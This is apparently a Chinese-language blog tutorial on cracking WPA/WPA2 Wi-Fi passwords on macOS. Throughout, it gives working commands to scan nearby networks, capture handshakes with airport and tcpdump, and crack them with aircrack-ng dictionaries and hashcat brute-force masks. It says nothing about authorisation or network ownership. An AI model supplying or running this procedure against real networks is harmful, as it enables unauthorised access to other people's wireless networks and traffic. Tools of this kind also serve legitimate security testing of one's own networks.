macOS系统版本

sw_vers

ProductName:	Mac OS X
ProductVersion:	10.13.6
BuildVersion:	17G65

1，安装和更新aircrack-ng

brew search aircrack-ng
brew install aircrack-ng
brew upgrade aircrack-ng

sudo chown -R $(whoami) /usr/local
brew link aircrack-ng

$ which aircrack-ng
/usr/local/bin/aircrack-ng

2，查看 aircrack-ng版本

brew info aircrack-ng

aircrack-ng: stable 1.5.2 (bottled)

3，查看附近wifi

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

airport -s

4，抓包

sudo airport en1 sniff 1

en1 无线网卡名称
1 破解Wi-Fi信道CHANNEL

aircrack-ng /tmp/airportSniffxNVV5o.cap | grep 1B:42
aircrack-ng airportSniffxQnNSI.cap | grep "1 handshake"

WPA (0 handshake) 0没有抓到握手包
WPA (1 handshake) 1成功抓到握手包

4.1，macos mojave airport sniff 报错

• 系统版本

$ sw_vers 
ProductName:	Mac OS X
ProductVersion:	10.14.4
BuildVersion:	18E226

• 报错 Segmentation fault: 11

$ sudo airport en1 sniff 1
Capturing 802.11 frames on en1.
Segmentation fault: 11

• 使用tcpdump 抓包

# 断开wifi的连接
$ sudo airport -z
# Wi-Fi对频道1进行嗅探
$ sudo airport -c1
$ sudo tcpdump "type mgt subtype beacon and ether src e4:f3:f5:33:11:22" -I -c 1 -i en1 -w beacon.cap
tcpdump: listening on en1, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
1 packet captured
113 packets received by filter
0 packets dropped by kernel
# Got为0等待Wi-Fi被连接
$ sudo tcpdump "ether proto 0x888e and ether host e4:f3:f5:33:11:22" -I -U -vvv -i en1 -w cap.cap
tcpdump: listening on en1, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
Got 0
# Got为4当wifi被连接时成功抓取握手包
$ sudo tcpdump "ether proto 0x888e and ether host e4:f3:f5:93:1b:42" -I -U -vvv -i en1 -w cap.cap
tcpdump: listening on en1, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
Got 4

$ mergecap -a -F pcap -w handshake.cap beacon.cap cap.cap

$ aircrack-ng -w dic.txt wifiCap/handshake.cap

5，跑字典

aircrack-ng -w pass.txt /tmp/airportSniffxNVV5o.cap

aircrack-ng -w pass.txt -b e4:f3:f5:93:1b:42 /tmp/airportSniffxNVV5o.cap

6，安装hashcat

brew search hashcat
brew install hashcat

7，安装hashcat-utils

git clone https://github.com/hashcat/hashcat-utils
cd hashcat-utils/src/
make

8，cap 转 hccapx

./cap2hccapx.bin /tmp/airportSniffxQnNSI.cap /tmp/output.hccapx MERCURY_1B44

9，hashcat破解密码

hashcat -m 2500 /tmp/output.hccapx /root/pass.txt

9.1 hashcat 规则破解密码

INFO: All hashes found in potfile! Use --show to display them.

删除hashcat.potfile中内容

find / -name "hashcat.potfile"

-a 3 : 攻击模式 3 = Brute-force（掩码暴力破解）
?d?d?d?d?d?d?d?d : 8为数字破解 ，?d代表数字

hashcat -m 2500 -a 3 /tmp/output.hccapx   ?d?d?d?d?d?d?d?d

10，在线HASH CRACK

• 在线HASH CRACK 上传hccapx

参考：

1. aircrack-ng破解wifi
2. 破解wifi 密码（mac 版）
3. 使用macbook破解WPA/WPA2 wifi密码
4. Mac上跑wifi密码方法 hashcat
5. 使用Brew在Mac上安装hashcat
6. Install Hashcat Utils
7. hashcat_utils
8. Hashcat manual: how to use the program for cracking passwords
9. 密码破解全能工具：Hashcat密码破解攻略
10. Capturing WPA handshakes with OS X
11. Sniff - The good way with tcpdump